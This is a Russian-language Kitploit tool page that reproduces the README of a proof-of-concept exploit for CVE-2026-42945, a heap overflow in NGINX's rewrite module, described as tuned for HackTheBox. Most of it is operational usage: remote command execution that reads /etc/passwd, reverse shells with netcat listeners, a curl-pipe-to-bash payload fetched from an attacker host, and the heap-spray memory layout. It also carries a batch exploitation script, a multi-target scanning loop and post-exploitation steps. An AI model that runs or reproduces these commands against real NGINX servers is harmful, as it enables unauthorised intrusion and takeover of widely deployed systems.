Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/cipherspy/cve-2026-42945-poc
ReconnaissancePayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationBinary Exploitation
GitHubcipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

54133 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
CVE-2026-42945-POC — exploit for CVE-2026-42945 | Kitploit

exploit for CVE-2026-42945

Репозиторий

CVE-2026-42945 (NGINX Rift) — Эксплойт для HTB

Автономный эксплойт для уязвимости переполнения кучи NGINX, обнаруженной в 2024 году. Эта версия оптимизирована для окружений HackTheBox и CTF, где невозможно настроить Docker-контейнеры.

Детали уязвимости

CVE-2026-42945 — это критическое переполнение кучи в модуле ngx_http_rewrite_module NGINX, существующее с 2008 года (версия 0.6.27). Ошибка возникает, когда:

  1. Директива rewrite содержит ? в замене (устанавливает is_args = 1)
  2. Директива set захватывает часть URI
  3. Вычисление длины происходит на обнулённом поддвижке (видит is_args = 0)
  4. Фаза копирования выполняется на основном движке (видит is_args = 1)
  5. Экранирование URI расширяет символы в 3 раза, переполняя недостаточный буфер

Затронутые версии

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36

Исправленные версии

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

Включенные файлы

  1. nginx_rift_htb.py — Основной скрипт эксплойта
  2. nginx_rift_helper.py — Вспомогательный скрипт разведки и утечки информации
  3. README.md — Этот файл

Требования

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

Быстрый старт

1. Проверка, уязвима ли цель

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Это позволит:

  • Обнаружить, запущен ли NGINX
  • Попытаться определить версию
  • Проверить наличие конечной точки /api/
  • Сообщить, выглядит ли цель уязвимой

2. Разведка (рекомендуется)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

Это выполняет:

  • Определение отпечатка NGINX
  • Определение версии
  • Обнаружение конечных точек
  • Обнаружение утечек информации
  • Анализ поведения

3. Запуск эксплойта

Выполнение команды:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Получение обратной оболочки:

root@kitploit:~
# Start listener first (in another terminal)
nc -lvnp 4444

# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Примеры использования

Базовое выполнение команд

root@kitploit:~
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Обратная оболочка

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Пользовательские адреса (если ASLR отключён или у вас есть утечки)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Расширенные опции

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Понимание эксплойта

Как это работает

  1. Кучевой спрей: Эксплойт отправляет несколько POST-запросов с сформированными телами, содержащими поддельную структуру ngx_pool_cleanup_s
  2. Триггер переполнения: Отправляет GET-запрос к /api/ со специально сформированным URI, который при экранировании вызовет переполнение
  3. Хук очистки: Переполнение повреждает указатель очистки соседнего пула, указывая на нашу поддельную структуру
  4. Выполнение кода: При уничтожении пула вызывается system() с нашей командой

Ключевые параметры

  • Целевые байты: 6-байтовые адреса, содержащие только URL-безопасные символы
  • Тело распыления: POST-тело размером 4000 байт, содержащее поддельную структуру очистки
  • Полезная нагрузка переполнения: 349 'A' + 969 '+' символов, которые расширяются в 3 раза при экранировании

Соображения по ASLR

Эксплойт предполагает, что ASLR отключён или вам известны адреса. На HTB:

  • Некоторые машины отключают ASLR для упрощения эксплуатации
  • Другие требуют поиска утечки информации
  • Вспомогательный скрипт может помочь с разведкой

Если ASLR включён, вам может потребоваться:

  1. Найти утечку информации в приложении
  2. Использовать перебор (требует много попыток)
  3. Использовать частичные перезаписи (продвинутый метод)

Устранение неполадок

"Цель, похоже, не запускает NGINX"

  • Убедитесь, что цель действительно использует NGINX
  • Проверьте, правильный ли порт
  • Возможно, за WAF/прокси

"Не удалось подтвердить конечную точку /api/"

Уязвимая конфигурация требует:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • Эксплойт может сработать, если rewrite+set есть в другом месте
  • Попробуйте другие распространённые пути: /api/, /admin/, /internal/

"Все попытки эксплуатации провалились"

Возможные причины:

  1. ASLR включён — адреса рандомизированы
    • Решение: найти утечку информации или перебор
  2. Другая версия libc — system() по другому смещению
    • Решение: попробовать все смещения с --verbose
  3. Версия не уязвима — исправленная версия или другая конфигурация
    • Решение: проверить версию с помощью вспомогательного скрипта
  4. WAF/IDS блокирует — применяются средства защиты
    • Решение: может потребоваться методы обхода
  5. Неверная конечная точка — не используется комбинация rewrite+set
    • Решение: найти реальную уязвимую конечную точку

Подробный режим

Всегда используйте --verbose для отладки:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Это показывает:

  • Статус каждого запроса распыления
  • Попытки подключения
  • Время срабатывания триггера переполнения
  • Логику обнаружения сбоев

Советы по HTB

Поиск вашего VPN IP

root@kitploit:~
# Find your tun0 IP
ip addr show tun0 | grep inet

# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

Стабилизация оболочки

После получения начального доступа:

root@kitploit:~
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Типичная разведка после получения оболочки

root@kitploit:~
# Check current user
id
whoami

# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Check sudo permissions
sudo -l

# Check SUID binaries
find / -perm -4000 2>/dev/null

Расширенное использование

Создание пользовательской нагрузки

Если вам нужно настроить полезную нагрузку:

root@kitploit:~
# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')

Несколько целей

root@kitploit:~
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Test each one
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Автоматическая эксплуатация

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Технические детали

Уязвимый шаблон кода

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
    set $original_endpoint $1;                     # Allocates based on is_args=0
}

Поток эксплуатации

root@kitploit:~
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)

Расположение в памяти

root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'

Ссылки

  • Оригинальный PoC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • Техническая статья: https://depthfirst.com/research/nginx-rift
  • Консультация NGINX: https://my.f5.com/manage/s/article/K000160932
  • Детали CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Использование против систем, которые вам не принадлежат или на которые у вас нет явного разрешения, является незаконным. Автор не несёт ответственности за неправильное использование.

Авторство

  • Оригинальная уязвимость обнаружена depthfirst
  • Оригинальный PoC: p3Nt3st3r-sTAr
  • Адаптация для HTB: модифицировано для автономного использования

Лицензия

Только для образовательных/исследовательских целей. Используйте ответственно.

Скачать инструмент